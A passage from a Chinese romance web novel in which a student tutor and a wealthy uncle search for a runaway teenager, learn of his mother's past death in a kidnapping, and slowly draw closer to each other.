“在哪个便利店?”
陆忱报了地址,安抚道:“你安心上课,不用担心,他有分寸。”
有
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分寸就不会一声不响离家出走了。
地址离A大不算远,打车顶多二十分钟,乔听月再三权衡,觉得这是她身为生活老师的职责,问道:“您接下来打算去哪里?”
“暂时没有方向,便利店附近店铺很多,查监控还要一阵。”
乔听月听见“欢迎光临”的机械音,推测他应该刚看完便利店的监控。
“我现在过去找您,如果有了新消息,麻烦您同步给我。”
“你的课……”
“没事,”乔听月边说边回教室,“小信重要,我担心他的安全。”
事分轻重缓急,若真被发现旷课,想来白教授也能理解,毕竟高中生离家出走也算心理问题范畴,届时自己好好解释解释,软磨硬泡下不至于挂科。
回到教室,乔听月看了眼讲台,依旧空空如也,助教也不见了踪影,正是跑路的好时机,低头快速收拾东西。
齐珊珊震惊:“你要溜?”
不怪她稀奇,要知道,乔听月这个学习机器,哪怕高烧也不会缺勤,今天竟然准备逃课?!
乔听月嗯了一声,“有急事,重要的知识点帮我记着点,省的课后作业抓瞎。”
齐珊珊比了个ok,“需不需要我们帮忙?”
李盈凑过来,“我刚看了,校园通里有课件,不怕没东西写。”
乔听月谢了她们的好意,“不用,一点小事,先走了。”
说罢,背上背包从后门离开。
乔听月怕打扰其他教室上课,只能大步快走,顾不上是否会摔跤,她抓紧时间约出租车,看到有人接单后,她继续加速。
教学楼前是一个小广场,乔听月迎着风跑起来,马尾辫在路灯下一晃一晃。
她满心都是学生的去向安危,并未注意到刚刚避让的黑色轿车中,一位儒雅的男士对她投来探究的目光。
——
“师傅,停那就行。”
司机不敢贴迈巴赫太近,在距离它十几米的地方停下。
乔听月付了车钱,跑到迈巴赫旁边,俯下身,用手遮住光,透过车窗往里看。
车里没人。
看来陆忱还在查监控。
乔听月环顾四周,锁定不远处的西装壮汉,朝他跑过去。
“哥,陆先生在里面吗?”
壮汉是陆忱特意安排接人的保镖,为了方便乔听月找人。
保镖道:“在里面,乔老师请进。”
进店前,乔听月抬头看了眼牌匾,是家馄饨馆。
推开厚重的保暖门帘,乔听月一眼望见柜台前与小店装潢格格不入的男人,面色冷沉凝重,眉心微微蹙起,手指点着屏幕指挥保镖放大画面。
她眨掉凝在睫毛上的水珠,走过去,轻声问:“陆先生,怎么样了?”
陆忱抬头,眸底闪过瞬间的柔软,“你来了。”
打过招呼,他视线重新落回到监控画面,“监控范围有限,只能根据行走方向一点点查。”
“报警了吗?”
“找熟人帮忙了,监控有死角,都是零碎线索。
看完监控,陆忱给店家付了辛苦费,“走吧,看下一家。”
众人上车,乔听月抓住机会问:“陆先生,小信为什么离家出走?”
32. 可怜狗
这件事要追溯到今天下午。
陆建业太久没见孙子,平时主动发微信联络总是被表情包敷衍,从陆忱和乔听月那了解近况嫌弃不够直观,于是决定接孙子来家里吃顿饭。
下午通知了陆忱之后,陆建业打发人去锦新接祝承信。
虽然祖孙俩关系不太融洽,但极少爆发过大冲突,陆忱对此还是挺放心的,大不了不欢而散,结果事与愿违,祝承信离家出走了。
祝承信离开前放了狠话,把陆建业气得够呛,缓过劲之后还是担心孙子,给陆忱打电话问他有没有安全到家,父子俩交换了信息,才知道祝承信没回家。
陆建业慌了,赶紧让人去找,开始找人的时候,距离祝承信离开老宅已经过去将近两个小时了,找人难度直线上升。
要不是祝承信饿了,买泡面被银行追踪到流水,陆忱现在还在看城市监控呢。
乔听月听了前因后果,一时语塞,喃喃道:“陆老先生和小信关系这么差啊。”
说完才发现自己把心声说出来了。
乔听月抿了抿唇,偷偷用余光瞄陆忱。
陆忱垂着眼没看见,他一直在盯监控,眼睛有些疲劳,捏了捏眉心,语气无奈:“他们关系一直不太好。”
之前祝承信不敢离家出走,纯粹是因为陆忱本人也在饭桌上,他敢和陆建业吵架,却不敢忤逆舅舅。
今天单独相处,两人一言不合吵得昏天暗地,听管家说,祝承信但凡跑慢一秒就得挨揍。
乔听月着实费解,相处这么久,她认为祝承信并不是叛逆的孩子,怎么独独和祖父相处不来,人人说隔辈亲,陆家的隔辈都快成仇了。
“陆老先生说吵架的原因了吗?”
陆忱思忖片刻,道:“他没告诉我,但我猜话题离不开小信妈妈,也就是我姐姐。”
闻言,乔听月沉默下来。
她还记得上次去锦新参加运动会,在校史馆见过小信妈妈的模样,和陆忱相反,她长相柔美没有攻击力,浅浅微笑,优雅知性,很符合大众对贵族千金的刻板印象。
这样优秀的人,怎么会成为祖孙之间的禁忌呢。
无数疑问浮现在脑海中,不听不看不问的豪门工作三不准则彻底失效,乔听月忍不住开口:“小信母亲和陆老先生之间……”
本想问是不是有不可调和的矛盾,转念一想,若真有矛盾又怎么会把儿子留给老父亲,一时间找不到合适的词汇,问到一半便卡住了。
陆忱接过话:“我姐姐已经去世了。”
乔听月愣住,半晌,眨了眨眼,低声道:“抱歉。”
“已经过去很久了,”陆忱声音平静,但仔细听还是听得清悲伤和怀念,“她随母亲姓,叫祝愿。”
陆忱高中入学那年,祝愿正式以继承人的身份担任陆氏集团总裁,同年与丈夫离婚,由于事业繁忙,祝承信被男方带去国外抚养。
尽管如此,她也不忘与孩子培养感情,每周视频通话,每月飞国外看望,每个季度家庭旅游,虽然分居异地,但母子间感情特别融洽。
然而天意弄人,祝承信初中时,踏青途中被绑架,绑匪指名祝愿交赎金。当时,陆建业极力反对,他不愿意让女儿冒险,祝愿没听,只留下一句“女儿不孝,如果真有意外,请父亲把小信接回陆家”,接着头也不回上了飞机。
一语成谶,交换人质时,祝愿和绑匪发生争执,没能回家。
陆建业放心不下跟去国外,下了飞机只看到女儿的遗体,胸腔中弹,白裙子被鲜血染红,当即眼珠一翻,被送进急诊抢救。
好不容易下了手术台,看见床边完整无缺的祝承信,一腔怒火全发泄到他身上,祖孙俩自此结怨。
一口气讲到这,陆忱喝了口水,回忆这些实在耗费心力。
乔听月一阵唏嘘,忽然想起祝承信是高二下半年才回国,皱眉,“陆老先生失约了?”
“他从来也没答应。”陆忱放下水瓶,事情已经讲了一半,剩下一半就不值得隐瞒了。
陆建业将失去女儿和继承人的痛苦怪罪在祝承信身上,协助警方抓了绑匪后,带着遗体回国,将祝承信留在了国外。
直到祝承信高二那年,一通越洋电话旧事重提,祝愿的死另有隐情。
也是巧合,祝愿交完赎金离开仓库时,幕后主使给绑匪,言谈间暴露了身份,正是祝承信的亲生父亲。
祝愿假装没听见,不动声色往外走,不料绑匪头子机警,拿了买命钱根本不在乎手上沾不沾人命,一枪结束了祝愿的生命。绑匪伪造了争斗现场,落网后一口咬定只为钱,被看见长相担心出事才开枪。
真相是祝承信偶然发现的。
祝愿去世后,祝承信父亲马不停蹄娶了新妻子,并且带回家一个七岁男孩。
没了祝愿的辖制,陆建业又不管不问,哪怕陆忱时常打钱关心,可祝承信自我厌弃,报喜不报忧,继母彻底放开了手脚,衣食住行疯狂克扣,慢慢地开始上手打骂。
也正是因为继母胡作非为,把祝承信关进地下室,才让他在尘封的箱子里翻到了一张存折,转入金额和赎金一模一样,他发觉不对劲,沿着蛛丝马迹开始查。
绑匪收尾做得很好,祝承信父亲也确实安分了两年,事件的影响完全消弭后才动用这笔赎金,他飘得厉害,用起钱来毫不遮掩,真被祝承信收集到不少信息。
他深知自己人微言轻,查不到更深处的东西,直接给陆忱打了电话,但最先赶来的是陆建业。
事情了结,祝承信亲手将父亲送进了监狱,陆建业这才想起女儿的嘱托,将与女儿七分相似的孙子接回了陆家。
“回国后小信住老宅,三天两头吵架,”提起这段往事,陆忱颇有些哭笑不得,“短短半个月,老宅碎了两套古董茶杯,小信借机撕了几本教材,这才住到我这了。”
乔听月哑然,难怪祝承信的叛逆只对陆老先生可见,祖孙俩之间的沟壑根本没法填平。
她扭头,刚要说话,却见身边的男人望着窗外,往日温柔的双眸噙满了哀伤,没有落点的视线好似看向过往。
他一直在讲述,但他自己同样失去了至亲。
不仅如此,陆老先生骤然失去女儿,身体和心理遭到巨大打击,根本没有精力支撑集团的运转,当时陆氏已有一半交接到祝愿手中,继承人身亡,必须由陆忱顶上。
乔听月想起齐珊珊曾经提起过陆忱的变化,桀骜不驯的少年快速成长,到如今成熟稳重的模样,究竟要经历多少难熬的日夜。
她忽然想起乔望曦,她经常坐在窗边,望着遥远的天,她一直以为她是想念父母、向往自由,现在却觉得,她可能只是在回忆痛苦的日子,沉默地感谢撑过来的自己。
“陆先生,”乔听月对他伸出手,“吃颗糖吧。”
陆忱回神,低头看少女摊开掌心,彩虹纸包裹着小糖块,看不出味道。
他伸手剥糖纸,“蓝莓味的?
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”
乔听月托着下巴,“不知道哦,也许是蓝莓味,也许是草莓味,也有可能是蔓越莓味。”
陆忱轻笑了声,含着糖,说道:“是水蜜桃味,你不太擅长说笑话。”
乔听月挠了挠脸,小声反驳:“我才没有说笑话。”
而且,他明明笑了。
糖块在口中化开一半,迈巴赫停下。
司机道:“先生,墓园到了。”
乔听月意外,跟着陆忱起身,“小信来墓园了?”
墓园外灯光昏暗,陆忱伸手扶她,“监控显示他上了一辆出租车,目的地是墓园。”
收到消息后,有保镖提前来墓园看监控,此时前来汇报:“先生,少爷在半小时前上山了。”
知道了下落,陆忱先给陆建业报平安,之后才带着乔听月上山。
陆家的祖坟在半山腰,大概爬了十分钟,陆忱让人关了手电筒,站在远处望向那道单薄瘦削的身影。
体检之后,祝承信按时按量吃营养餐,刚涨了没两斤,身材就开始抽条,依旧是偏瘦的身形。
少年静静地站在墓碑前,他跑得太着急,只穿了毛衣,冻得肩膀紧绷,身体发抖。
乔听月咬着下唇,满眼心疼。
当年她站在父母的墓碑前,太阳烤在身上却如坠冰窖。如今深冬寒夜,祝承信独自穿越大半江城,腹中只有一碗泡面。
她明白,不打扰他,任由他在母亲的坟前发泄情绪才是最好的。
但她不想理解。
或者说,她也曾渴望过被人拉出漩涡,告诉她父母不离婚不是她的错,没经历那场意外也不是她的错。
念头一晃而过。
乔听月跑到祝承信身边,在他惊讶的目光中,脱下羽绒服,强行裹在他身上
“死小孩,你要冻死自己吗!把自己弄成这幅德行,想让你妈妈心疼你是不是!”
祝承信已经比乔听月高了。
他没反抗,也没说话,听着眼前比他大不了多少的老师带着哭腔吼他。
乔听月情绪激动,狠狠抹了下眼睛,抖着手拉拉链,嘴里反反复复嘟囔“死小孩,不爱惜身体”。
拉链怎么也拉不上,她又急又气。
泪眼模糊间,有人将衣服披在她身上,手被握住,掌心的热度温暖了她僵硬的指尖。
她指尖勾了勾,没抬头,“陆先生,您照顾小信吧,不用管我。”
祝承信插话,齿尖打颤:“也也也不用管我。”
乔听月瞪他,红红的眼圈没有威慑感,像只被抢了白菜叶的小兔子。
陆忱的衣服足够罩住乔听月,衣摆坠在小腿处,尤不放心往中间拢了拢,“自己穿袖子。”
说着,他转身给祝承信拉拉链。
祝承信是真的冻僵了,不然也不会同意穿这件鹅黄色的羽绒服,更不会干等着舅舅给他穿衣服。
他小声道:“舅舅。”
“嗯。”
陆忱把拉链拉到头,羽绒服有点小,但外观看不出紧绷感,他没责怪祝承信一声不吭离家出走,连累所有人大半夜满城寻人,只缓声道:“回家再说。”
祝承信和乔听月跟着保镖下山,她一步三回头。
墓碑前,男人半蹲着,抬手拂去照片上的灰尘。
瞬间,心房被悲伤和酸涩填满。
乔听月怔怔捂住心口。
她好像,看到了一只无家可归的可怜狗。
33. 晚安
瘦弱的身体被冷风摧残许久,放松后根本支撑不住,回陆家的途中,祝承信就睡着了。
乔听月转身看向后排,少年长长的四肢蜷缩着,身上穿着她的鹅黄色羽绒服,多亏他长得白净,不然看着怪辣眼睛。
收回视线,她给陆建业发消息,着重描述了祝承信可怜兮兮的模样,委婉提醒他不要因为悲痛和怀念而伤害祝愿唯一留下的亲骨肉。
发出去的时候,她心中忐忑不安。
她作为一个外人或者说旁观者,本不该多管闲事,但是两个失去至亲的可怜人明明可以互相依靠,却偏偏将这份情绪变成愤怒刺向对方,她于心不忍。
陆忱注意到她的动作,“给我父亲发消息?”
乔听月握住手机,“嗯,希望他不会因此辞退我。”
“不会的,”陆忱微微垂眸,“我父亲想和小信修复关系,只是抹不开面子,希望小信主动破冰,小信……”
他放低声音,“小信觉得是自己害死了妈妈,真相揭露前已经产生了自毁倾向,和他祖父吵了几次之后,找到了新的情绪出口,转移出一部分愧疚,责怪祖父没拦住妈妈。”
乔听月了然,清官难断家务事,祖孙俩的相处方式也算是默契使然了。
“嗡嗡——”
手机振动。
乔听月晃了下神,接起来,“姐,怎么了……哦哦,好,我回家看看。”
挂断电话,她往窗外看,分辨当下的位置,“陆先生,我就不和您回陆家了,我在前面路口下就行。”
陆忱没应,问她:“你姐姐让你买什么?”
“灯泡,客厅灯泡坏了。”
“我知道哪有卖的,买完送你去地铁站。”
他说得自然,乔听月以为是顺路,便安心等着,结果路边的景象越来越眼熟,竟是开到她家前面那趟街了。
灯具店是商住一体,此时还开着。
陆忱下车,问她:“知道要什么型号吗?”
乔听月先是奇怪陆忱对她家附近的店铺了如指掌,接着忙跟上去,“我姐姐给我发照片了。”
进店后,乔听月给老板看了照片,老板拿灯泡时,她就守在柜台,生怕离开一步陆忱就要抢先扫码。
陆忱看出她的小心思,在门口等她,出门时,顺势提出送她回家。
不过是拐个弯的功夫,乔听月没跟他客气。
送到楼下,乔听月想起她还穿着陆忱的衣服。
刚做出脱衣服的动作,陆忱拦住她,“穿着回家,别着凉了。”
乔听月犹豫,按理说车里温度高,陆忱不会冷,可他皮肤又白又薄,被风一吹就泛红,从墓园离开,他侧颈的颜色丝毫未褪,凭空让她想起他孤零零蹲在墓碑前那一幕。
“不用,”她拒绝,“就几步路,很快的。”
陆忱微微蹙眉,“这样吧,我送你上楼,等你进屋再把衣服还我。”
乔听月想不出更好的办法,多僵持一会陆忱就多冷一会,于是点头。
下了车,她先跑起来,转头喊陆忱,“陆先生,您走快点。”
陆忱莞尔,他腿长,略微加快脚步便能跟上她小跑的速度。
楼道里依旧很冷,乔听月没法在这还衣服,碎碎吐槽热爱开窗的邻居,陆忱笑着听,心里却觉得这邻居不错,阴差阳错给了他进门的机会。
电梯升上八楼,乔听月拿钥匙开门,客气道:“要不要进来坐坐?”
陆忱摇头,“很晚了,我就不打扰了。”
乔听月松了一口气,“您要是不进来,我这就把衣服还您。”
就在此刻,门从里面开了。
客厅灯泡突然坏掉,乔望曦够不到电闸,家里一片漆黑。
她坐着轮椅,月光打在脸上,素来沉静的眸子晃了晃,声音微微尖锐:“你们在干什么!”
乔听月胳膊向上耸了下,把脱到一半的衣服穿回去,匆匆解释:“这是陆先生的衣服,他怕我着凉借我穿一会。”
乔望曦还沉浸在震惊中无法自拔,根本听不进去她的话。
乔听月一边解释一边对陆忱道歉,最后还是把他请进了屋。
房门关上隔绝了走廊的灯光,只有手机亮起一束光。
乔听月顾不上招待陆忱,把事情原原本本讲清楚,稍微模糊了祝承信离家出走的真相。
乔望曦深呼吸,一副释然的样子,“抱歉陆先生,我实在是,被你们吓到了。”
自从灯泡坏掉,她就摸黑坐在客厅灯乔听月回家,刚刚听见钥匙插入锁孔的声音,拧了一半又停下。她本就心惊胆战,战战兢兢开了门,发现妹妹正对着一个男人脱衣服,好悬没把她吓死。
陆忱好脾气地说没关系,“来都来了,我帮你们把灯泡装上吧。”
来都来了。
这四个字简直有魔法,瞬间硬控了乔家姐妹。
陆忱踩在椅子上拆灯罩,乔听月仰着头帮忙照明,眼底万分迷茫。
“灯泡。”
乔听月脱离神游的状态,用新灯泡换走他掌心的战损版,担忧道:“您小心点啊。”
让身价千亿的陆总给她装灯泡,她好害怕。
陆忱笑道:“放心,不会弄坏你家的灯。”
乔听月脸颊腾的红了,反驳:“不是灯,我是让您注意安全。”
“逗你呢,”陆忱装完灯泡,跳下椅子,“电闸在哪?”
乔听月带他找到电闸,推上去,喊乔望曦试开关。
“啪!”
客厅大亮。
确定每个灯都没问题,陆忱把灯罩装好,“乔老师,有水吗?”
“有的。”
乔听月去厨房倒水,转过身,没想到陆忱跟在后面,好在反应及时没撞进他怀里,不过出于惯性,水杯前倾,泼了半杯水在他身上。
“啊,对不起!”
她慌忙用手去擦,手掌刚抚了两下,下一秒,手被抓住按在胸口。
“没事,”陆忱接过水杯,“不是热水,你慌什么。”
乔听月感觉自己快晕了。
她知道陆忱在说话,也听清了每个字符音节,但脑子就像刁钻刻薄的防火墙,自动过滤掉一切安装包。
她所有的感官都陷入停摆状态,除了触感。
因为祝承信离家出走的消息过于突然,陆忱出门时随意穿了件圆领羊毛衫。
如今在她手掌下,隔着浸了水的柔软衣料,硬邦邦的胸肌微微起伏,是男人呼吸的频率。
当真难以启齿,陆忱分明穿了衣服,却被她的防火墙大脑自动屏蔽,坦然展露出那具优越的身体。
应该松手的。
但乔听月指尖动了动,鬼使神差地静止不动了。
陆忱察觉到少女卸去力气,抬了下眉,没有得寸进尺攥紧手掌,而是维持现状,虚虚搭在她手背上,用喝水掩饰眼底的惊喜。
喉结滚动,吞咽的声音不轻不重。
仿佛有火从食管一路燎上来,乔听月也跟着咽了一口。
身后传来轮椅压过木质地板的咯吱声。
乔听月做贼心虚,用力撤回手,另一只手包裹住被陆忱抓过的位置揉了揉,睫毛乱颤。
陆忱把杯子还给她,语气如常:“多谢,小信还在楼下,今天多谢你陪我找他。”
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乔听月颔首道:“不客气,职责所在,我送您。”
依旧是送到电梯口,电梯门关上,乔听月回家,手中还拿着陆忱用过的水杯。
她垂眸端详玻璃杯,芭蕾舞男演员扶着女演员的腰,半搂半抱的姿态,以往不觉得暧昧,现在却品出几分缱绻。
乔望曦提醒:“月亮,快洗漱吧。”
乔听月回神,对上姐姐温柔的眼睛,心头渐渐悸动平息,“好哦,这就去。”
——
洗完澡,乔听月用干发帽包住湿漉漉的头发回房。
乔望曦睡得早,吹风机声音太大,她怕吵醒她,所以拿去卧室用。
吹风机呼呼地响,干燥的热风顺着发丝吹到头皮,稍微走下神就烫的她皱眉。
吹个半干,她收好线,视线落在桌角的手机上。
宿舍群有消息。
【齐大公主】:白教授真是太帅了!
【摄影大师】:爹的,怎么会有这么正点的人,简直是在我xp上跳舞。
【齐大公主】:作业在校园通提交,他讲的东西都在课件里,你自己看吧@月亮
【摄影大师】:反正不挂科,随便写写咯~
【月亮】:@齐大公主,划重点了吗?
【齐大公主】:宝贝,我无心听课,光顾着看他那张脸了[色色]
【摄影大师】:我作证,她流口水了!
【齐大公主】:屁!我怎么会对着别人男朋友流口水!
【月亮】:没点名吧?
【齐大公主】:安啦,教室都要挤爆炸了,出勤率都120%了,缺你一个没人care~
乔听月放心了,毕竟大姑娘上花轿头一回。
当时逃得果断,但真跑出去那一刻,还是非常没出息地提心吊胆。
又聊了几句,群里安静下来。
乔听月退出聊天界面,看着列表中抢眼的布娃娃头像,手指在信息框上踌躇。
是不是该问问他到没到家。
起了念头,思绪就止不住发散。
她又想起陆忱胸肌的手感,最初摸到的是鼓胀微微发软的肉,顷刻之间就变得坚实,就算没往下按,也能感觉到它弹性十足。
最重要的是,他没有放开她的手。
为什么不放开。
手心忽然振动,对话框弹到列表最上方。
【祝承信舅舅(陆)】:到家了。
【祝承信舅舅(陆)】:[图片]
照片中,祝承信窝在被子里,她的羽绒服出镜在照片最下缘,看视角是搭在陆忱手臂上,不小心框进了镜头。
【月亮】:小信没发烧吧?
可能是累了不愿意打字,陆忱发了一条语音。
“没发烧,刚才给他灌了一碗姜汤,明天睡醒估计就没事了。”
【月亮】:嗯嗯,等他睡醒必须要好好教育一下![小猫挥拳]
陆忱嗓音含笑:“那就麻烦乔老师教育他了,衣服我让人洗了,你还有别的外套穿吗?”
【月亮】:有的,其实不用洗,小信没穿脏。
“不麻烦,”陆忱顿了下,“今天辛苦了,要睡了吗?”
乔听月听了两遍,手背在脸颊贴了贴,回复:
【准备睡了。】
【祝承信舅舅(陆)】:嗯,早点休息,晚安。
乔听月回了晚安,抱着被侧躺下,看着手机最后那条消息。
他们第一次互道晚安。
她心口仿佛堵了一块松软的棉花糖,不断膨胀着,有一道声音在她耳边低语。
“如果是语音就好了。”
34. 备注
翌日清早,乔听月破天荒收到了祝承信的微信。
先是为害她担心逃课道歉,再是表达感谢,最后说自己身体并无大碍可以正常上学,让她放心。
乔听月欣慰至极,老气横秋地感慨孩子长大了,然而她高兴太早。
臭屁小孩正是脸皮薄的时候,尽管是文字道歉感谢也足以让他面红耳赤,所以在句末加了一句嘲讽乔听月审美的俏皮嗑。
于是乔听月和祝承信就鹅黄色到底好不好看发起了讨论,你来我往好不热闹。
忽然,祝承信话锋一转。
【小信】:好看。
乔听月打字:算你识相,我的眼光当然
打到这,她停下,抿起唇瓣,按住删除键删掉所有文字。
屏幕对面,一大一小凑得很近,专注地看着聊天屏幕最上方那行字。
祝承信满脸问号,“她是在写小作文吗?输入半天了。”
陆忱瞥他,侧过手机,“大人的事,小孩别掺和。”
祝承信瞪眼,指了指自己鼻子,不敢置信:“舅舅,这可是我的手机,你用我的手机撩妹,还不让我看?”
“怎么,你还想有知情权?”陆忱反问,手心短促震了下,“别捣乱,一会儿把备注改了,没礼貌。”
【乔听月】:谢谢,是不是有些不太稳重?
【小信】:不会,浅色衬你气色,一看就是精气十足的专业老师。
陆忱深谙说话的艺术,他想夸谁能直接夸到人心坎里,何况他本就是这么认为的。
没人会不喜欢元气满满的小蛋挞。
乔听月自认内敛,看到这句话时还是忍不住心花怒放,她举着手机在床上滚了一圈,根本压制不住嘴角的弧度。
慢吞吞地回复:那我以后多买浅色。
又礼尚往来补了一句:您的日常look也非常好看,不光是穿搭,您本人就是行走的大卫![猫猫点头]
发送成功,乔听月绷住脸,除了爸爸和学生,她从来没有如此正式地夸过一位成年男性。
应该夸得还可以?
她不太自信。
乔听月紧张地等回信,半分钟后,对面发来一条语音。
先是一阵风声,之后才是陆忱清润的嗓音:“最喜欢哪一套?我以后多穿。”
祝承信咋咋呼呼的声音挤进来:“至于偷偷摸摸下车聊嘛,我要进学校了,快把手机还我!”
乔听月不在现场,却有种被抓包的羞耻感,手指弯曲又伸开,嘴唇贴近话筒。
“陆先生,别耽误小信上学,快把手机还他吧。”
时间紧张,陆忱只回了个“好”。
片刻后,祝承信拿回手机使用权,问她:你们说什么了?神神秘秘的,还删我记录。
乔听月自言自语:“还挺谨慎的。”
回复:好好学习,天天向上,大人的事小孩少管。
祝承信打定主意吃到舅舅的一手八卦,胡搅蛮缠到早自习开始,方才不情不愿地鸣金收兵。
对话框安静下来,乔听月把各种订阅号、服务号、微信运动的小红点取消,依依不舍地退出微信。
思绪平静下来,乔听月复盘祝承信离家出走事件的始末,反省自己的专业技能存在漏洞,决定吃完早餐去书店买几本心理辅导书,虽然不专业,但聊胜于无。
乔听月搜了攻略,江城最好的书店在绿洲,允许客人在店阅读,人称小型图书馆。
坐地铁直达,沿途买了杯咖啡,决定今天就在书店消磨时间。
书店的面积比自助餐厅还要大,导购询问了需求后,领她到心理类分区,介绍了几本专业性较强的工具书,之后就隐身了。
书籍提供试读本,乔听月取下导购推荐的几本,抱到阅读区筛选。
刚坐下,身后传来一道略带惊喜的声音。
“小乔?”
乔听月回头,看清来人,同样意外:“汪哥,你怎么在这?”
汪聪朝她走过来,拉开对面的椅子坐下,晃了晃手中的书,“来买书。”
乔听月莞尔,“巧了,我也是来找心理书的。”
汪聪一看,两人果然拿了一样的书,起了兴头:“我本来是在校图书馆借的,到期没看完,续借了两次,年末不停开会没时间看,前几天……你知道那事,学校又开会抓心理健康,书都被抢没了,这不赶紧来抱抱佛脚。”
乔听月提议:“择日不如撞日,中午我请你吃饭。”
汪聪点头,“成啊,那就蹭你一顿饭。”
乔听月笑了:“我可欠你一顿饭呢。”
选完书后,两人就近选了家西餐厅,要了双人餐,满满当当铺了一桌子。
吃饭时,汪聪提到支教项目:“明年学校会开启西部计划志愿者招募,短期志愿者为期一个月,你要是想去我可以帮你留一个名额。”
“几月份?”
“三月中旬报名,半个月面试,四月份出发。”
那个时间正是冲刺高考的时候,乔听月签了合同不能没有职业道德,抛弃祝承信一个月去带别的孩子。
“恐怕不行,我兼职带的学生明年就要高考了。”
汪聪若有所思,“没事,我先帮你留意着,你慢慢考虑,毕竟只是兼职,这个项目学校很重视,对你未来有好处。”
他说得很隐晦,乔听月听出言外之意后沉吟片刻,没有一味地拒绝:“好,那麻烦你了。”
“不麻烦,”汪聪摆摆手,“昨天的心理课怎么样,白教授讲得不错吧。”
乔听月垂眸,心虚道:“挺好的,颜值也高。”
汪聪哈哈笑:“你们这些小女生就喜欢看帅哥,白教授可说了,次次上课有人拍照,提议专业课上交手机呢。”
乔听月笃定:“大家一定会反对的。”
一顿饭吃了一小时,乔听月把能想到的话题都说干了,去前台结账时却被告知有人付过钱了。
乔听月奇怪,“男的女的?”
收银员微笑:“是一位男士,他说您看到这个就知道了。”
乔听月将信将疑接过纸片,入目,是熟悉漂亮的字体,最后一笔银钩挑起。
汪聪在门外等了一会,返回询问:“怎么了?”
乔听月折上纸片,“没事,结完账了,我们走吧。”
汪聪是开车来的,问了乔听月不需要他送,两人在一楼电梯口分开。
目送他下了负一层,乔听月立刻拿出手机给陆忱发消息。
【月亮】:陆先生,您还在绿洲吗?
【祝承信舅舅(陆)】:[照片]
照片隔着一扇玻璃,是她拿着手机发消息的侧影。
乔听月转身,咖啡厅靠窗,矜贵的男人一身商务西装,拿咖啡杯的手露出手腕,腕表昂贵精美,此时却分不走她丝毫注意力。
视线交汇的刹那,周遭一切渐渐褪色,掌心再次发烫,昨夜的暧昧气息犹如藤蔓,弯弯绕绕地攀上她的神经。
“不好意思,麻烦让一下。”
乔听月恍然回神,发觉自己站在电梯口,挡了别人的路。
“抱歉抱歉。”
她道了歉,大步往咖啡厅走去。
“叮铃铃——”
风铃响起,服务生对她打招呼。
乔听月含糊应了,来到陆忱身边,“陆先生。”
她顿住,该说好巧,还是问他为什么在这。
可这样问会不会太生疏了,毕竟上午才——
不过他们一直都这样生疏。
陆忱比她自在许多,“坐下说,刚刚那个男人是你朋友?”
开门见山。
服务生送来一杯温水。
乔听月本来不渴,但还是抿了两口,手心微微出汗,心脏跳得比答辩时还要剧烈。
“我辅导员,之前他帮过我
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,今天遇上请他吃个饭。”
陆忱轻轻叩了下桌面,“那我不该帮你结账的。”
短促的音节,乔听月莫名觉得轻快。
她解锁手机,“我把饭钱转给您。”
陆忱伸手挡住屏幕,“急什么。”
乔听月不是手控,但总是不自觉被他的手吸引视线。
无他,太漂亮了。
手指修长,皮肤薄,指节轻易被摩擦出粉色,性感的青筋向手腕蔓延,指腹有薄茧,覆盖在皮肤上轻微磨人。
这都是表象,真正用力时几乎要把人骨头掐碎。
手指夹住手机边框,轻而易举将它从少女的掌心抽走。
“你再请我一顿饭不就行了。”
乔听月耳垂赤红,这顿饭顶天三百块,请陆忱吃三百块的饭,和请他吃路边摊没有区别。
“还有,我早就想说了,”陆忱点开主页,“乔老师,能不能给我换个备注?”
乔听月呼吸一滞。
她的家长备注都是统一格式,中心点是学生,当初给陆忱设置这个备注是因为不愿意在事业上搞特殊,现在他如此要求——
一旦更换,枷锁彻底打开。
陆忱只是提出要求,没有非让她即刻做出反馈,锁了屏幕,问她:“一会儿还回家吗?”
“要回,我得把书送回去。”
说着,乔听月想要展示她的工作计划,一伸手怼到玻璃上。
“哎呀,我把书落在餐厅了!”
暧昧的气氛终结于此,乔听月起身,“不好意思陆先生,我得回去一趟。”
陆忱随她一起,“别着急,先去店里找,找不到再去失物招领处。”
好在没人对几本工具书感兴趣,乔听月顺利在收银台找回书籍。
她伸手拿书,随口道:“没睡好,记性都变差了。”
陆忱抬了下眉,拎起袋子的动作自然得不能更自然,“昨天熬夜了?”
乔听月抓了个空,本是有些尴尬的姿势,心底反倒泛起涟漪。
她跟上陆忱的脚步,思忖如何回话。
不能承认,万一陆忱问她为什么没睡好,难道要和盘托出自己因为回忆胸肌的手感,辗转反侧到凌晨仨点嘛!
陆忱很轻地笑了声,少女耳朵通红,再问就要钻地缝了。
他贴心地转移话题:“公司进入年末总结,最近一段时间我会有些忙。”
乔听月心说难怪,若不是工作巧合,陆忱没理由出现在商场。
“您放心,我会照顾好小信的。”
陆忱低眉看她,神情颇有些意味深长。
乔听月没读懂他的眼神,未等细想,话题继续延伸。
两人边走边聊,一抬头,前方就是地铁安检入口。
乔听月懊恼:“您怎么跟我下来了。”
陆忱慢条斯理道:“不能送你回家,送你到地铁站,你不能再拒绝吧。”
乔听月一楞,下意识道:“我家太远了。”
旋即否认:“不是,我的意思是——”
“不嫌远,”陆忱把书递给她,手提绳在他手指上勒出一道深深的红印,侧头对她笑,“下次送你,给个机会。”
陆忱这句话说完,乔听月之后的动作全凭本能。
过安检,刷码,坐电梯,上地铁。
这种放空的状态持续到回地面,冷风扑脸,她恍然惊醒。
陆忱让她给个机会!
她稀里糊涂地答应了,她怎么敢的。
吹了一会儿风,乔听月脸上的温度彻底降下来。
算了,开弓没有回头箭,不管是主动暧昧还是被动暧昧,她都没拒绝不是吗。
如今再想不过是庸人自扰之。
顺其自然才是上上策。
乔听月做事最是果断,掏出手机,点开陆忱的主页。
指尖灵巧地敲键盘,更改备注:【陆先生】
35. 肩膀
陆忱是真的忙起来了,接下来一周,乔听月下班时才能和他匆匆见上一面。
若不是隔三差五微信聊天,在陆家总能吃到附赠手写字条的小点心,她都要以为几天前的暧昧是在做梦。
公益捐书这天,两人终于安安稳稳坐下来,不知道是谁先看向对方,视线相撞的瞬间,无形的缱绻气息蔓延开,空气也变得黏稠。
乔听月舔了舔嘴唇,下一秒,眼前出现一瓶可可牛奶。
陆忱帮她拧开盖子,“提前热过的,不想喝就暖手。”
乔听月接过来喝了一口,同样的牌子,温度也相差无几,今天这瓶就是甜一点。
“谢谢,您……”
唐秘书随行,确定所有东西准备就绪后,进屋提醒:“陆总,可以出发了。”
说到一半被打断,乔听月腾的起身,“我去看看小信。”
乔听月背影匆匆,唐秘书以为自己坏了老板的好事,忐忑地偷看陆忱的表情。
